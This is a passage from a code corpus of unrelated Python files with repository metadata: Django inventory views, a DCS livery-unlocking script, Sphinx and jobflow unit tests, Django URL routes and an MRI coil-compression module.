event_date=timestamp, operator=operator, comment=remarks, locationname=location, inventory_id=inventory_id) HttpResponseRedirect(reverse('inventory:inven')) except IOError as e: print ("Inventory Save Failure ", e) return HttpResponseRedirect(reverse('inventory:inven')) try: desc_list = Model.objects.order_by('description').values_list('description', flat=True).distinct() models_list = Model.objects.order_by('model').values_list('model', flat=True).distinct() locations_list = Location.objects.order_by('name').values_list('name', flat=True).distinct() shelves_list = Location.objects.order_by('shelf').values_list('shelf', flat=True).distinct() except IOError as e: print ("Lists load Failure ", e) return render (request,"inventory/items.html",{"today":date.today(), "locations_list":locations_list, "models_list":models_list, "shelf_list":shelves_list,'active_operator':operator}) def item(request): locations_list = [] shelves_list = [] event_list = [] event = 'n/a' uploaded_file_url = "" #Get locationname try: event_id = request.GET.get('event_id', -1) #print('event_id = ',event_id) if not event_id==-1: event = Events.objects.filter(id=event_id) event=event[0] #print(event) inventory_id = request.GET.get('inventory_id', -1) #print('inventory_id = ',inventory_id) active_inv = Inventory.objects.filter(id=inventory_id) active_inv = active_inv[0] #print('active_inv = ',active_inv) mname = active_inv.modelname #print('model name =',mname) model = Model.objects.filter(model__icontains=mname) #print('model=',model) if Model.objects.filter(model__icontains=mname).exists(): model = model[0] uploaded_file_url=model.photo #print('model=',model) if uploaded_file_url==None or uploaded_file_url =="": uploaded_file_url = '/tcli/media/inv1.jpg' #print('uploaded_file_url =',uploaded_file_url) locations_list = Location.objects.order_by('name').values_list('name', flat=True).distinct() shelves_list = Location.objects.order_by('shelf').values_list('shelf', flat=True).distinct() event_list = Events.objects.filter(inventory_id=inventory_id).all() #print('event_list = ',event_list) operator=request.user #print('operator = ',operator) except IOError as e: print ("Lists load Failure ", e) return render (request,"inventory/item.html",{"active_inv":active_inv, "uploaded_file_url":uploaded_file_url,"event_list":event_list, "today":date.today(), "locations_list":locations_list, "shelf_list":shelves_list,'event':event,'active_operator':operator}) def report(request): locations_list = [] shelves_list = [] event_list = [] event = 'n/a' uploaded_file_url = "" operator = str(request.user) #Get locationname try: inventory_id = request.GET.get('inventory_id', -1) #print('inventory_id = ',inventory_id) active_inv = Inventory.objects.filter(id=inventory_id) active_inv = active_inv[0] #print('active_inv = ',active_inv) mname = active_inv.modelname #print('model name =',mname) model = Model.objects.filter(model__icontains=mname) if Model.objects.filter(model__icontains=mname).exists(): model = model[0] uploaded_file_url=model.photo #print('model=',model) if uploaded_file_url==None or uploaded_file_url =="": uploaded_file_url = '/tcli/media/inv1.jpg' #print('uploaded_file_url =',uploaded_file_url) #print('model=',model) #print(model.image_file) image_file = model.image_file if image_file == None: image_file = 'inventory/images/model.jpg' #print(image_file) event_list = Events.objects.filter(inventory_id=inventory_id).all() #print('event_list = ',event_list) operator=request.user #print('operator = ',operator) except IOError as e: print ("Lists load Failure ", e) return render (request,"inventory/report.html",{"active_inv":active_inv, "uploaded_file_url":uploaded_file_url,"event_list":event_list, "today":date.today(),'event':event,'active_operator':operator}) def inv_report(request): inv_list = [] models_list = [] model_list = [] curr_quan = [] field_quan = [] repair_quan = [] missing_quan = [] #Get locationname json_data = [] inv_list = [] inv = [] operator = str(request.user) model = request.GET.get('model', -1) #print('model = ',model) category = request.GET.get('category', -1) #print('category = ',category) success = True if category =='select menu' and model =='select menu' : inv_list = Inventory.objects.all() model_list = Inventory.objects.order_by('modelname').values_list('modelname', flat=True).distinct() category ='All categorys' elif not category =='select menu' and model =='select menu' : inv_list = Inventory.objects.filter(category=category).all() model_list = Inventory.objects.filter(category=category).order_by('modelname').values_list('modelname', flat=True).distinct() elif not category =='select menu' and not model =='select menu' : inv_list = Inventory.objects.filter(category=category,modelname=model).all() model_list = Inventory.objects.filter(category=category,modelname=model).order_by('modelname').values_list('modelname', flat=True).distinct() model_lists = [] lists =[] for model in model_list: total_quan=Inventory.objects.filter(modelname=model).count() house_quan=Inventory.objects.filter(modelname=model).filter(status__icontains='In-House').count() field_quan=Inventory.objects.filter(modelname=model).filter(status__icontains='On-Site').count() repair_quan=Inventory.objects.filter(modelname=model).filter(status__icontains='In-Repair').count() missing_quan=Inventory.objects.filter(modelname=model).filter(status__icontains='In-Repair').count() list = {'modelname':model,'total_quan': total_quan, 'house_quan':house_quan,'field_quan':field_quan,'repair_quan':repair_quan,'missing_quan':missing_quan} lists = json.dumps(list) model_lists.append(lists) model_lists = ListAsQuerySet(model_lists, model='Post') print('model_list = ', model_lists) print('inv_list = ',inv_list) desc_list = Model.objects.order_by('description').values_list('description', flat=True).distinct() locations_list = Location.objects.order_by('name').values_list('name', flat=True).distinct() shelves_list = Location.objects.order_by('shelf').values_list('shelf', flat=True).distinct() return render (request,"inventory/inv_report.html",{"inv_list":inv_list, "category":category, "models_list":model_list, "curr_quan":curr_quan, "field_quan":field_quan, "repair_quan":repair_quan, "missing_quan":missing_quan, "today":date.today(),'active_operator':operator}) def to_json(lst,columns): keys = [] for d in lst: keys.append((columns,d)) data = json.dumps(keys) return data #https://flask.palletsprojects.com/en/1.1.x/patterns/fileuploads/ def upload_file(request): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] # if user does not select file, browser also # submit an empty part without filename if file.filename == '': flash('No selected file') return redirect(request.url) if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) return HttpResponseRedirect(reverse('uploaded_file',filename=filename)) return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1> <form method=post enctype=multipart/form-data> <input type=file name=file> <input type=submit value=Upload> </form> ''' class ListAsQuerySet(list): def __init__(self, *args, model, **kwargs): self.model = model super().__init__(*args, **kwargs) def filter(self, *args, **kwargs): return self # filter ignoring, but you can impl custom filter def order_by(self, *args, **kwargs): return self

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py

Python

dskc/io/__init__.py

NovaSBE-DSKC/predict-campaing-sucess-rate

fec339aee7c883f55d64130eb69e490f765ee27d

[ "MIT" ]

null

dskc/io/__init__.py

NovaSBE-DSKC/predict-campaing-sucess-rate

fec339aee7c883f55d64130eb69e490f765ee27d

[ "MIT" ]

null

dskc/io/__init__.py

NovaSBE-DSKC/predict-campaing-sucess-rate

fec339aee7c883f55d64130eb69e490f765ee27d

[ "MIT" ]

null

from dskc.io.util import get_root_path

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2df5b13ea0af85acc49f9bd60510aa46e1372b34

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py

Python

src/utils.py

LombardiDaniel/dcs-nation-skin-unlocker

943e74108eef25090b9d2b1099195c563bbfdd17

[ "MIT" ]

7

2021-08-23T20:04:45.000Z

2022-02-17T15:20:27.000Z

src/utils.py

LombardiDaniel/dcs-nation-skin-unlocker

943e74108eef25090b9d2b1099195c563bbfdd17

[ "MIT" ]

1

2022-02-16T22:58:09.000Z

2022-02-17T02:47:13.000Z

src/utils.py

LombardiDaniel/dcs-nation-skin-unlocker

943e74108eef25090b9d2b1099195c563bbfdd17

[ "MIT" ]

1

2022-03-27T00:15:58.000Z

import os def check_saved_games(saved_games_dcs_dir): for folder_name in os.listdir(saved_games_dcs_dir): if folder_name in ('DCS', 'DCS.openbeta'): return True return False class Utils: def __init__(self): self.dcs_dir = '' self.saved_games_dcs_dir = '' # self.window = ui_window def ready(self): return self.dcs_dir != '' and self.saved_games_dcs_dir != '' def fix_default_liveries(self): aircrafts_dir = os.path.join(self.dcs_dir, 'CoreMods', 'aircraft') for aircraft_name in os.listdir(aircrafts_dir): if not aircraft_name.endswith('Pack'): aircraft_liveries_dir = os.path.join(aircrafts_dir, aircraft_name, 'Liveries') if os.path.isdir(aircraft_liveries_dir): for arcraft_var_name in os.listdir(aircraft_liveries_dir): arcraft_var_dir = os.path.join(aircraft_liveries_dir, arcraft_var_name) if os.path.isdir(arcraft_var_dir): for livery_name in os.listdir(arcraft_var_dir): description_lua_path = os.path.join(arcraft_var_dir, livery_name, 'description.lua') if os.path.isfile(description_lua_path): lines = [] print(description_lua_path) with open(description_lua_path, 'r', encoding='utf-8') as f: lines = f.readlines() for i, line in enumerate(lines): if 'countries = {' in line: print(f'Unlocking: {description_lua_path}') lines[i] = line.replace('countries = {', '-- countries = {') with open(description_lua_path, 'w', encoding='utf-8') as f: f.writelines(lines) def fix_mods_liveries(self): aircrafts_dir = os.path.join(self.saved_games_dcs_dir, 'mods', 'aircraft') if os.path.isdir(aircrafts_dir): for aircraft_name in os.listdir(aircrafts_dir): if not aircraft_name.endswith('Pack'): aircraft_liveries_dir = os.path.join(aircrafts_dir, aircraft_name, 'Liveries') if os.path.isdir(aircraft_liveries_dir): for arcraft_var_name in os.listdir(aircraft_liveries_dir): arcraft_var_dir = os.path.join(aircraft_liveries_dir, arcraft_var_name) if os.path.isdir(arcraft_var_dir): for livery_name in os.listdir(arcraft_var_dir): description_lua_path = os.path.join(arcraft_var_dir, livery_name, 'description.lua') if os.path.isfile(description_lua_path): lines = [] print(description_lua_path) with open(description_lua_path, 'r', encoding='utf-8') as f: lines = f.readlines() for i, line in enumerate(lines): if 'countries = {' in line: print(f'Unlocking: {description_lua_path}') lines[i] = line.replace('countries = {', '-- countries = {') with open(description_lua_path, 'w') as f: f.writelines(lines) def fix_bazar_liveries(self): aircrafts_dir = os.path.join(self.dcs_dir, 'Bazar', 'liveries') for aircraft_name in os.listdir(aircrafts_dir): if not aircraft_name.endswith('Pack'): aircraft_liveries_dir = os.path.join(aircrafts_dir, aircraft_name) for livery_name in os.listdir(aircraft_liveries_dir): livery_dir = os.path.join(aircraft_liveries_dir, livery_name) description_lua_path = os.path.join(livery_dir, 'description.lua') if os.path.isfile(description_lua_path): lines = [] print(description_lua_path) with open(description_lua_path, 'r', encoding='utf-8') as f: lines = f.readlines() for i, line in enumerate(lines): if 'countries = {' in line: print(f'Unlocking: {description_lua_path}') lines[i] = line.replace('countries = {', '-- countries = {') with open(description_lua_path, 'w', encoding='utf-8') as f: f.writelines(lines) def fix_downloaded_liveries(self): liveries_dir = os.path.join(self.saved_games_dcs_dir, 'Liveries') if os.path.isdir(liveries_dir): for aircraft_name in os.listdir(liveries_dir): if not aircraft_name.endswith('Pack'): aircraft_liveries_dir = os.path.join(liveries_dir, aircraft_name) if os.path.isdir(aircraft_liveries_dir): if os.path.isdir(aircraft_liveries_dir): for livery_name in os.listdir(aircraft_liveries_dir): description_lua_path = os.path.join(aircraft_liveries_dir, livery_name, 'description.lua') if os.path.isfile(description_lua_path): lines = [] print(description_lua_path) with open(description_lua_path, 'r', encoding='utf-8') as f: lines = f.readlines() for i, line in enumerate(lines): if 'countries = {' in line and '--' not in line: print(f'Unlocking: {description_lua_path}') lines[i] = line.replace('countries = {', '-- countries = {') print(lines[i]) with open(description_lua_path, 'w') as f: f.writelines(lines) class Notifier: ''' Notifications wrapper ''' def __init__(self, window): self.window = window self.buffer = '' def notify(self, msg): ''' Writes notification to the notifications area. ''' self.window['-NOTIFICATIONS-'].update(visible=True) self.window['-NOTIFICATIONS-'].update(value=msg) self.buffer = msg def add(self, msg): ''' Adds a notification to the notifications area. ''' self.window['-NOTIFICATIONS-'].update(visible=True) self.window['-NOTIFICATIONS-'].update(value=self.buffer + msg) self.buffer += msg def clear(self): ''' Clears the notifications area. ''' self.window['-NOTIFICATIONS-'].update(value='') self.window['-NOTIFICATIONS-'].update(visible=False) self.buffer = ''

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null

0

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0

null

0

6

9373c2a64e8bb931ae3aa37f9d2ceee778f035de

5,538

py

Python

_unittests/ut_sphinxext/test_todoext_extension.py

Pandinosaurus/pyquickhelper

326276f656cf88989e4d0fcd006ada0d3735bd9e

[ "MIT" ]

18

2015-11-10T08:09:23.000Z

2022-02-16T11:46:45.000Z

_unittests/ut_sphinxext/test_todoext_extension.py

Pandinosaurus/pyquickhelper

326276f656cf88989e4d0fcd006ada0d3735bd9e

[ "MIT" ]

321

2015-06-14T21:34:28.000Z

2021-11-28T17:10:03.000Z

_unittests/ut_sphinxext/test_todoext_extension.py

Pandinosaurus/pyquickhelper

326276f656cf88989e4d0fcd006ada0d3735bd9e

[ "MIT" ]

10

2015-06-20T01:35:00.000Z

2022-01-19T15:54:32.000Z

""" @brief test log(time=4s) @author Xavier Dupre """ import sys import os import unittest from docutils.parsers.rst import directives from pyquickhelper.loghelper.flog import fLOG from pyquickhelper.pycode import get_temp_folder from pyquickhelper.helpgen import rst2html from pyquickhelper.sphinxext import TodoExt, TodoExtList from pyquickhelper.sphinxext.sphinx_todoext_extension import todoext_node, visit_todoext_node, depart_todoext_node class TestTodoExtExtension(unittest.TestCase): def test_post_parse_sn_todoext(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") directives.register_directive("todoext", TodoExt) directives.register_directive("todoextlist", TodoExtList) def test_todoext(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") from docutils import nodes as skip_ content = """ test a directive ================ before .. todoext:: :title: first todo :tag: bug :issue: 7 this code shoud appear___ after """.replace(" ", "") if sys.version_info[0] >= 3: content = content.replace('u"', '"') tives = [("todoext", TodoExt, todoext_node, visit_todoext_node, depart_todoext_node)] html = rst2html(content, writer="custom", keep_warnings=True, directives=tives, extlinks={'issue': ('http://%s', '_issue_')}) temp = get_temp_folder(__file__, "temp_todoext") with open(os.path.join(temp, "out_todoext.html"), "w", encoding="utf8") as f: f.write(html) t1 = "this code shoud appear" if t1 not in html: raise Exception(html) t1 = "after" if t1 not in html: raise Exception(html) t1 = "first todo" if t1 not in html: raise Exception(html) t1 = "(bug)" if t1 not in html: raise Exception(html) t1 = 'href="http://7"' if t1 not in html: raise Exception(html) def test_todoextlist(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") from docutils import nodes as skip_ content = """ test a directive ================ before .. todoext:: :title: first todo this code shoud appear___ middle .. todoextlist:: after """.replace(" ", "") if sys.version_info[0] >= 3: content = content.replace('u"', '"') tives = [("todoext", TodoExt, todoext_node, visit_todoext_node, depart_todoext_node)] html = rst2html(content, writer="rst", keep_warnings=True, directives=tives, layout="sphinx", todoext_include_todosext=True) temp = get_temp_folder(__file__, "temp_todoextlist") with open(os.path.join(temp, "out_todoext.html"), "w", encoding="utf8") as f: f.write(html) t1 = "this code shoud appear" if t1 not in html: raise Exception(html) t1 = "after" if t1 not in html: raise Exception(html) t1 = "first todo" if t1 not in html: raise Exception(html) t1 = "(The `original entry" if t1 not in html: raise Exception(html) def test_todoext_done(self): fLOG( __file__, self._testMethodName, OutputPrint=__name__ == "__main__") from docutils import nodes as skip_ content = """ test a directive ================ before .. todoext:: :title: first todo :tag: bug :issue: 7 :hidden: this code shoud appear___ after """.replace(" ", "") if sys.version_info[0] >= 3: content = content.replace('u"', '"') tives = [("todoext", TodoExt, todoext_node, visit_todoext_node, depart_todoext_node)] html = rst2html(content, writer="custom", keep_warnings=True, directives=tives, extlinks={'issue': ('http://%s', '_issue_')}) temp = get_temp_folder(__file__, "temp_todoext") with open(os.path.join(temp, "out_todoext.html"), "w", encoding="utf8") as f: f.write(html) t1 = "this code shoud appear" if t1 in html: raise Exception(html) t1 = "after" if t1 not in html: raise Exception(html) t1 = "first todo" if t1 in html: raise Exception(html) t1 = "(bug)" if t1 in html: raise Exception(html) t1 = 'href="http://7"' if t1 in html: raise Exception(html) if __name__ == "__main__": unittest.main()

27.69

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null

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1

0

1

0

null

0

6

fa76f83344682464aa866ac9ac2702e7db6b9a16

484

py

Python

htsworkflow/frontend/reports/urls.py

detrout/htsworkflow

99d3300e2533d79428ad49aaf10b9429b175da2d

[ "BSD-3-Clause" ]

null

htsworkflow/frontend/reports/urls.py

detrout/htsworkflow

99d3300e2533d79428ad49aaf10b9429b175da2d

[ "BSD-3-Clause" ]

1

2018-02-26T18:30:05.000Z

htsworkflow/frontend/reports/urls.py

detrout/htsworkflow

99d3300e2533d79428ad49aaf10b9429b175da2d

[ "BSD-3-Clause" ]

null

from django.conf.urls import patterns urlpatterns = patterns('', (r'^updLibInfo$', 'htsworkflow.frontend.reports.libinfopar.refreshLibInfoFile'), (r'^report$', 'htsworkflow.frontend.reports.reports.report1'), (r'^report_RM$', 'htsworkflow.frontend.reports.reports.report_RM'), (r'^report_FCs$', 'htsworkflow.frontend.reports.reports.getNotRanFCs'), (r'^liblist$', 'htsworkflow.frontend.reports.reports.test_Libs') )

48.4

84

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0.410095

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1

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null

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6

fab3b230e9c8415a9b6f8d083fee2b797fefea58

65

py

Python

Model_Explanation/__init__.py

karthi12ck/Model-Explanation

08822797d12f0598706abae3a65d4fe8d6ee294a

[ "MIT" ]

null

Model_Explanation/__init__.py

karthi12ck/Model-Explanation

08822797d12f0598706abae3a65d4fe8d6ee294a

[ "MIT" ]

null

Model_Explanation/__init__.py

karthi12ck/Model-Explanation

08822797d12f0598706abae3a65d4fe8d6ee294a

[ "MIT" ]

null

from Model_Explanaton.Model_Explanation import Model_Explanation

32.5

64

0.923077

8

65

7.125

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65

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null

0

1

0

1

0

1

0

6

87de94a52cc733aaf892fda6010c3ca442764dc9

7,149

py

Python

utils/coilcomp.py

milesgray/CALAE

a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac

[ "Apache-2.0" ]

null

utils/coilcomp.py

milesgray/CALAE

a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac

[ "Apache-2.0" ]

null

utils/coilcomp.py

milesgray/CALAE

a2ab2f7d9ee17cc6c24ff6ac370b0373537079ac

[ "Apache-2.0" ]

null

"""Coil compression. Reference(s): [1] Zhang T, Pauly JM, Vasanawala SS, Lustig M. Coil compression for accelerated imaging with Cartesian sampling. Magn Reson Med 2013 Mar 9;69:571-582 """ import os import sys import numpy as np from mri_util import fftc def calc_gcc_weights_c(ks_calib, num_virtual_channels, correction=True): """Calculate coil compression weights. Input ks_calib -- raw k-space data of dimensions (num_channels, num_readout, num_kx) num_virtual_channels -- number of virtual channels to compress to correction -- apply rotation correction (default: True) Output cc_mat -- coil compression matrix (use apply_gcc_weights) """ me = "coilcomp.calc_gcc_weights_c" num_kx = ks_calib.shape[2] # num_readout = ks_calib.shape[1] num_channels = ks_calib.shape[0] if num_virtual_channels > num_channels: print( [ "%s> Num of virtual channels (%d) is more than the actual " + " channels (%d)!" ] % (me, num_virtual_channels, num_channels) ) return np.eye(num_channels, dtype=np.complex64) if num_kx > 1: # find max in readout tmp = np.sum(np.sum(np.power(np.abs(ks_calib), 2), axis=0), axis=1) i_xmax = np.argmax(tmp) # circ shift to move max to center (make copy to not touch original data) ks_calib_int = np.roll(ks_calib.copy(), int(num_kx / 2 - i_xmax), axis=-1) ks_calib_int = fftc.ifftc(ks_calib_int, axis=-1) else: ks_calib_int = ks_calib.copy() cc_mat = np.zeros((num_virtual_channels, num_channels, num_kx), dtype=np.complex64) for i_x in range(num_kx): ks_calib_x = np.squeeze(ks_calib_int[:, :, i_x]) U, s, Vh = np.linalg.svd(ks_calib_x.T, full_matrices=False) V = Vh.conj() cc_mat[:, :, i_x] = V[0:num_virtual_channels, :] if correction: for i_x in range(int(num_kx / 2) - 2, -1, -1): V1 = cc_mat[:, :, i_x + 1] V2 = cc_mat[:, :, i_x] A = np.matmul(V1.conj(), V2.T) Ua, sa, Vah = np.linalg.svd(A, full_matrices=False) P = np.matmul(Ua, Vah) P = P.conj() cc_mat[:, :, i_x] = np.matmul(P, cc_mat[:, :, i_x]) for i_x in range(int(num_kx / 2) - 1, num_kx, 1): V1 = cc_mat[:, :, i_x - 1] V2 = cc_mat[:, :, i_x] A = np.matmul(V1.conj(), V2.T) Ua, sa, Vah = np.linalg.svd(A, full_matrices=False) P = np.matmul(Ua, Vah) P = P.conj() cc_mat[:, :, i_x] = np.matmul(P, np.squeeze(cc_mat[:, :, i_x])) return cc_mat def apply_gcc_weights_c(ks, cc_mat): """Apply coil compression weights. Input ks -- raw k-space data of dimensions (num_channels, num_readout, num_kx) cc_mat -- coil compression matrix calculated using calc_gcc_weights Output ks_out -- coil compresssed data """ me = "coilcomp.apply_gcc_weights_c" num_channels = ks.shape[0] num_readout = ks.shape[1] num_kx = ks.shape[2] num_virtual_channels = cc_mat.shape[0] if num_channels != cc_mat.shape[1]: print("%s> ERROR! num channels does not match!" % me) print("%s> ks: num channels = %d" % (me, num_channels)) print("%s> cc_mat: num channels = %d" % (me, cc_mat.shape[1])) ks_x = fftc.ifftc(ks, axis=-1) ks_out = np.zeros((num_virtual_channels, num_readout, num_kx), dtype=np.complex64) for i_channel in range(num_virtual_channels): cc_mat_i = np.reshape(cc_mat[i_channel, :, :], (num_channels, 1, num_kx)) ks_out[i_channel, :, :] = np.sum(ks_x * cc_mat_i, axis=0) ks_out = fftc.fftc(ks_out, axis=-1) return ks_out def calc_gcc_weights(ks_calib, num_virtual_channels, correction=True): """Calculate coil compression weights. Input ks_calib -- raw k-space data of dimensions (num_kx, num_readout, num_channels) num_virtual_channels -- number of virtual channels to compress to correction -- apply rotation correction (default: True) Output cc_mat -- coil compression matrix (use apply_gcc_weights) """ me = "coilcomp.calc_gcc_weights" num_kx = ks_calib.shape[0] # num_readout = ks_calib.shape[1] num_channels = ks_calib.shape[2] if num_virtual_channels > num_channels: print( "%s> Num of virtual channels (%d) is more than the actual channels (%d)!" % (me, num_virtual_channels, num_channels) ) return np.eye(num_channels, dtype=complex) # find max in readout tmp = np.sum(np.sum(np.power(np.abs(ks_calib), 2), axis=2), axis=1) i_xmax = np.argmax(tmp) # circ shift to move max to center (make copy to not touch original data) ks_calib_int = np.roll(ks_calib.copy(), int(num_kx / 2 - i_xmax), axis=0) ks_calib_int = fftc.ifftc(ks_calib_int, axis=0) cc_mat = np.zeros((num_kx, num_channels, num_virtual_channels), dtype=complex) for i_x in range(num_kx): ks_calib_x = np.squeeze(ks_calib_int[i_x, :, :]) U, s, Vh = np.linalg.svd(ks_calib_x, full_matrices=False) V = Vh.conj().T cc_mat[i_x, :, :] = V[:, 0:num_virtual_channels] if correction: for i_x in range(int(num_kx / 2) - 2, -1, -1): V1 = cc_mat[i_x + 1, :, :] V2 = cc_mat[i_x, :, :] A = np.matmul(V1.conj().T, V2) Ua, sa, Vah = np.linalg.svd(A, full_matrices=False) P = np.matmul(Ua, Vah) P = P.conj().T cc_mat[i_x, :, :] = np.matmul(cc_mat[i_x, :, :], P) for i_x in range(int(num_kx / 2) - 1, num_kx, 1): V1 = cc_mat[i_x - 1, :, :] V2 = cc_mat[i_x, :, :] A = np.matmul(V1.conj().T, V2) Ua, sa, Vah = np.linalg.svd(A, full_matrices=False) P = np.matmul(Ua, Vah) P = P.conj().T cc_mat[i_x, :, :] = np.matmul(np.squeeze(cc_mat[i_x, :, :]), P) return cc_mat def apply_gcc_weights(ks, cc_mat): """ Apply coil compression weights Input ks -- raw k-space data of dimensions (num_kx, num_readout, num_channels) cc_mat -- coil compression matrix calculated using calc_gcc_weights Output ks_out -- coil compresssed data """ me = "coilcomp.apply_gcc_weights" if ks.shape[2] != cc_mat.shape[1]: print("%s> ERROR! num channels does not match!" % me) print("%s> ks: num channels = %d" % (me, ks.shape[2])) print("%s> cc_mat: num channels = %d" % (me, cc_mat.shape[1])) num_kx = ks.shape[0] num_readout = ks.shape[1] num_channels = ks.shape[2] num_virtual_channels = cc_mat.shape[2] ks_x = fftc.ifftc(ks, axis=0) ks_out = np.zeros((num_kx, num_readout, num_virtual_channels), dtype=complex) for i_channel in range(num_virtual_channels): cc_mat_i = np.reshape(cc_mat[:, :, i_channel], (num_kx, 1, num_channels)) ks_out[:, :, i_channel] = np.sum(ks_x * cc_mat_i, axis=2) ks_out = fftc.fftc(ks_out, axis=0) return ks_out

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null

0

6

87f1ca2c8051586c4c21e17fc2a5c86fa8ae9715

11,620

py

Python

tests/managers/test_local.py

arosen93/jobflow

fbd5868394c6f4f6b4f2e0ccf4b7ff7d21fe7258

[ "BSD-3-Clause-LBNL" ]

10

2021-11-13T07:43:27.000Z

2022-03-14T11:05:15.000Z

tests/managers/test_local.py

arosen93/jobflow

fbd5868394c6f4f6b4f2e0ccf4b7ff7d21fe7258

[ "BSD-3-Clause-LBNL" ]

69

2021-08-31T13:15:54.000Z

2022-03-31T21:43:56.000Z

tests/managers/test_local.py

arosen93/jobflow

fbd5868394c6f4f6b4f2e0ccf4b7ff7d21fe7258

[ "BSD-3-Clause-LBNL" ]

5

2021-10-17T03:52:57.000Z

2022-03-31T00:17:20.000Z

import pytest def test_simple_job(memory_jobstore, clean_dir, simple_job): from jobflow import run_locally # run with log job = simple_job("12345") uuid = job.uuid responses = run_locally(job, store=memory_jobstore) # check responses has been filled assert responses[uuid][1].output == "12345_end" # check store has the activity output result = memory_jobstore.query_one({"uuid": uuid}) assert result["output"] == "12345_end" # test run no store job = simple_job("12345") uuid = job.uuid responses = run_locally(job) assert responses[uuid][1].output == "12345_end" def test_simple_flow(memory_jobstore, clean_dir, simple_flow, capsys): from pathlib import Path from jobflow import run_locally flow = simple_flow() uuid = flow.jobs[0].uuid # run without log run_locally(flow, store=memory_jobstore, log=False) captured = capsys.readouterr() assert "INFO Started executing jobs locally" not in captured.out assert "INFO Finished executing jobs locally" not in captured.out # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert responses[uuid][1].output == "12345_end" # check store has the activity output result = memory_jobstore.query_one({"uuid": uuid}) assert result["output"] == "12345_end" # check no folders were written folders = list(Path(".").glob("job_*/")) assert len(folders) == 0 # check logs printed captured = capsys.readouterr() assert "INFO Started executing jobs locally" in captured.out assert "INFO Finished executing jobs locally" in captured.out # run with folders responses = run_locally(flow, store=memory_jobstore, create_folders=True) assert responses[uuid][1].output == "12345_end" folders = list(Path(".").glob("job_*/")) assert len(folders) == 1 def test_connected_flow(memory_jobstore, clean_dir, connected_flow): from jobflow import run_locally flow = connected_flow() uuid1 = flow.jobs[0].uuid uuid2 = flow.jobs[1].uuid # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 2 assert responses[uuid1][1].output == "12345_end" assert responses[uuid2][1].output == "12345_end_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) result2 = memory_jobstore.query_one({"uuid": uuid2}) assert result1["output"] == "12345_end" assert result2["output"] == "12345_end_end" def test_nested_flow(memory_jobstore, clean_dir, nested_flow): from jobflow import run_locally flow = nested_flow() uuid1 = flow.jobs[0].jobs[0].uuid uuid2 = flow.jobs[0].jobs[1].uuid uuid3 = flow.jobs[1].jobs[0].uuid uuid4 = flow.jobs[1].jobs[1].uuid # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 4 assert responses[uuid1][1].output == "12345_end" assert responses[uuid2][1].output == "12345_end_end" assert responses[uuid3][1].output == "12345_end_end_end" assert responses[uuid4][1].output == "12345_end_end_end_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) result2 = memory_jobstore.query_one({"uuid": uuid2}) result3 = memory_jobstore.query_one({"uuid": uuid3}) result4 = memory_jobstore.query_one({"uuid": uuid4}) assert result1["output"] == "12345_end" assert result2["output"] == "12345_end_end" assert result3["output"] == "12345_end_end_end" assert result4["output"] == "12345_end_end_end_end" def test_addition_flow(memory_jobstore, clean_dir, addition_flow): from jobflow import run_locally flow = addition_flow() uuid1 = flow.jobs[0].uuid # run with log responses = run_locally(flow, store=memory_jobstore) uuid2 = [u for u in responses.keys() if u != uuid1][0] # check responses has been filled assert len(responses) == 2 assert responses[uuid1][1].output == 11 assert responses[uuid1][1].addition is not None assert responses[uuid2][1].output == "11_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) result2 = memory_jobstore.query_one({"uuid": uuid2}) assert result1["output"] == 11 assert result2["output"] == "11_end" def test_detour_flow(memory_jobstore, clean_dir, detour_flow): from jobflow import run_locally flow = detour_flow() uuid1 = flow.jobs[0].uuid uuid3 = flow.jobs[1].uuid # run with log responses = run_locally(flow, store=memory_jobstore) uuid2 = [u for u in responses.keys() if u != uuid1 and u != uuid3][0] # check responses has been filled assert len(responses) == 3 assert responses[uuid1][1].output == 11 assert responses[uuid1][1].detour is not None assert responses[uuid2][1].output == "11_end" assert responses[uuid3][1].output == "12345_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1}) result2 = memory_jobstore.query_one({"uuid": uuid2}) result3 = memory_jobstore.query_one({"uuid": uuid3}) assert result1["output"] == 11 assert result2["output"] == "11_end" assert result3["output"] == "12345_end" # assert job2 (detoured job) ran before job3 assert result2["completed_at"] < result3["completed_at"] def test_replace_flow(memory_jobstore, clean_dir, replace_flow): from jobflow import run_locally flow = replace_flow() uuid1 = flow.jobs[0].uuid uuid2 = flow.jobs[1].uuid # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 2 assert len(responses[uuid1]) == 2 assert responses[uuid1][1].output == 11 assert responses[uuid1][1].replace is not None assert responses[uuid1][2].output == "11_end" assert responses[uuid2][1].output == "12345_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1, "index": 1}) result2 = memory_jobstore.query_one({"uuid": uuid1, "index": 2}) result3 = memory_jobstore.query_one({"uuid": uuid2, "index": 1}) assert result1["output"] == 11 assert result2["output"] == "11_end" assert result3["output"] == "12345_end" # assert job2 (replaced job) ran before job3 assert result2["completed_at"] < result3["completed_at"] def test_replace_flow_nested(memory_jobstore, clean_dir, replace_flow_nested): from jobflow import run_locally flow = replace_flow_nested() uuid1 = flow.jobs[0].uuid uuid2 = flow.jobs[1].uuid # run with log responses = run_locally(flow, store=memory_jobstore) # check responses has been filled assert len(responses) == 4 assert len(responses[uuid1]) == 2 assert responses[uuid1][1].output == 11 assert responses[uuid1][1].replace is not None assert responses[uuid1][2].output["first"].__class__.__name__ == "OutputReference" assert responses[uuid2][1].output == "12345_end" # check store has the activity output result1 = memory_jobstore.query_one({"uuid": uuid1, "index": 1}) result2 = memory_jobstore.query_one({"uuid": uuid1, "index": 2}) result3 = memory_jobstore.query_one({"uuid": uuid2, "index": 1}) assert result1["output"] 